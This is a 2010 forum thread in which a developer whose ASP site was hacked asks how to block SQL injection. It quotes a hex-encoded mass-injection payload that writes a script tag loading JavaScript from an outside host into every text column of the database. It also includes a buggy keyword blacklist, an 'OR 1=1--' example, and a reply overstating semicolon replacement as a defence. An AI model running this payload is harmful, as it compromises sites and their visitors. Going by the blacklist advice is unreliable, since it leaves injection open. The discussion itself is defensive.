By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
438,162 Members | 1,038 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 438,162 IT Pros & Developers. It's quick & easy.

SQL injection prevention & asp

P: 3
hi
I am trying to block from the hackers.
Expand|Select|Wrap|Line Numbers
  1. (CAST(0X4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
  2.  
Here is my code: How should I modify to block the cast statement above.
Expand|Select|Wrap|Line Numbers
  1. <%
  2. 'Use these Constants to designate the type of Event Log.
  3. const TYP_SUCCESS = 0
  4. const TYP_ERROR = 1
  5. const TYP_WARNING = 2
  6. const TYP_INFORMATION = 4
  7. const TYP_AUDIT_SUCCESS = 8
  8. const TYP_AUDIT_FAILURE = 16
  9.  
  10. Dim Con
  11.  
  12. ' SQL Injection blocking
  13.  
  14. Dim strQuery, strVariable, strValue
  15.  
  16. strQuery = UCase(Request.QueryString)
  17. strQuery = Replace(strValue, "(CAST", "")
  18.  
  19. For Each strVariable In Request.QueryString
  20.     strValue = UCase(Request.QueryString(strVariable))
  21.     If (InStr(strValue,"EXEC(") > 0 OR _
  22.         InStr(strValue,"CAST(") > 0 OR _
  23.         InStr(strValue,";--") > 0 OR _
  24.         InStr(strValue,"'") > 0) AND _
  25.         strValue <> "Exec" AND _
  26.         strValue <> "CAST" AND _
  27.         strValue <> ";--" AND _
  28.         strValue <> "'" Then
  29.  
  30.         Response.Write "It appears your request contains illegal values.  Please use your back button to change the data or contact .com"
  31.  
  32.         WriteEventLog "Illegal internet request detected (" & strValue & " - " & Request.ServerVariables("PATH_INFO") & " - " & Request.ServerVariables("REMOTE_ADDR") & ")", TYP_WARNING
  33.  
  34.         Response.End 
  35.     End If
  36. Next
  37.  
  38. For Each strVariable In Request.Form
  39.     strValue = UCase(Request.Form(strVariable))
  40.     If (InStr(strValue,"EXEC(") > 0 OR _
  41.         InStr(strValue,"CAST(") > 0 OR _
  42.         InStr(strValue,";--") > 0 OR _
  43.         InStr(strValue,"'") > 0) AND _
  44.         strValue <> "Exec" AND _
  45.         strValue <> "CAST" AND _
  46.         strValue <> ";--" AND _
  47.         strValue <> "'" Then
  48.  
  49.         Response.Write "It appears your request contains illegal values.  Please use your back button to change the data or contact .com"
  50.  
  51.         WriteEventLog "Illegal internet request detected (" & strValue & ")", TYP_WARNING
  52.  
  53.         Response.End 
  54.     End If
  55. Next
  56.  
thank you!
Dec 1 '10 #1
Share this Question
Share on Google+
5 Replies


jhardman
Expert 2.5K+
P: 3,405
What is an example of a legal post here? What is acceptable?

Jared
Dec 1 '10 #2

P: 3
Any letters is acceptable except cast, Exec, Execute statement that hackers do. Out asp site got hacked few times. I am trying to block sql injection
Dec 1 '10 #3

jhardman
Expert 2.5K+
P: 3,405
First notice the use of semi-colons. Every sql injection I've heard of uses either semi-colons or the 'go' keyword. (I've heard rumors of others, but if I knew what they were, I certainly wouldn't post them here) So the first thing I would do is replace all semi-colons with the appropriate html character code.
Expand|Select|Wrap|Line Numbers
  1. strValue = replace(strValue, ";", "&semi;")
notice that this will foil 99% of injections, but will display correctly on the screen for those times that a semi-colon is needed.

Second, I would use the instr() function you use above to test for "cast(" and "exec(" and cause the whole thing to fail. The only difference I would put is not use if ... Or ... or ... Or. It's just very easy to make mistakes in those. There's no problem testing for one at a time, but if you want to be more elegant, make an array of forbidden strings, and loop thru them testing for each one individually. Does this make sense?

Jared
Dec 1 '10 #4

P: 3
Hi Jared
Thank you for the great explanation.
Dec 1 '10 #5

danp129
Expert 100+
P: 321
The hacker either escaped a user input field that was compared as a string and you didn't escape the single quotes, or they simply passed it in a input field that you compared as a number without ensuring the input was numeric. Other databases have some extra escape characters that will affect string comparisons.


I have not seen a SQL injection attack that worked on Microsoft SQL Server if these simple things were followed:

Strings:
Replace single quotes with two single quotes i.e. Replace(userInput, "'", "''").
Do not truncate user input after single quotes have been replaced. You may end up removing a doubled quote that escaped one before it which now allows the next user input to run as a command if more than one user input is used in the query.

Numbers:
Make sure numbers are numeric using isNumeric or converting it (cLng, cInt, cDbl, etc). This will not allow comments or semi-colons or anything other else that is not than a numeric value.



There are a lot of examples that explain replacing quotes and making sure numbers are numbers, here's an example of how truncating user input after replacing the quotes can cause an issue:

Expand|Select|Wrap|Line Numbers
  1. dim strSql
  2. dim userInputName
  3. dim userInputPass
  4.  
  5. userInputName = " ''" ' value from Request.Form("username") 
  6. userInputPass = "OR 1=1--" ' value from Request.Form("password")
  7.  
  8. userInputName = replace(userInputName, "'", "''")
  9. userInputPass = replace(userInputPass, "'", "''")
  10.  
  11.  
  12. ' Note values of vars holding user input are now:
  13. ' userInputName = " ''''" (a space and 4 single quotes)
  14. ' userInputPass = "OR 1=1--"
  15.  
  16. userInputName = left(userInputName, 4) ' You likely wouldn't limit to 4 but makes example easier to read
  17. userInputPass = left(userInputPass, 10)
  18.  
  19. ' Note values of vars holding user input are now:
  20. ' userInputName = " '''" (a space and 3 single quotes [an odd number of quotes])
  21. ' userInputPass = " OR 1=1--"
  22.  
  23. Example Query:
  24. strSql = "SELECT * FROM users WHERE" & _
  25.          " username='" & userInputName & "'" & _
  26.          " AND" & _
  27.          " password='" & userInputPass & "'"
  28.  
  29.  
  30. Concatenated string (made multi-line for easier reading):
  31. SELECT * FROM users WHERE
  32. username=' '''' AND password='
  33. OR 1=1--'
  34.  
  35. (note -- is comment and everything after -- is ignored if it is not quoted)
  36.  
  37.  
I would also recommend using parameterized SQL instead of concatenating user input. See the 3rd example here for how to use parameterized SQL without a stored procedure. This is slightly safer in some cases but the best part is it is easier to read and maintain once you get used to it and you will be ready to use stored procedures with little changes if/when the time comes.
Dec 9 '10 #6

Post your reply

Sign in to post your reply or Sign up for a free account.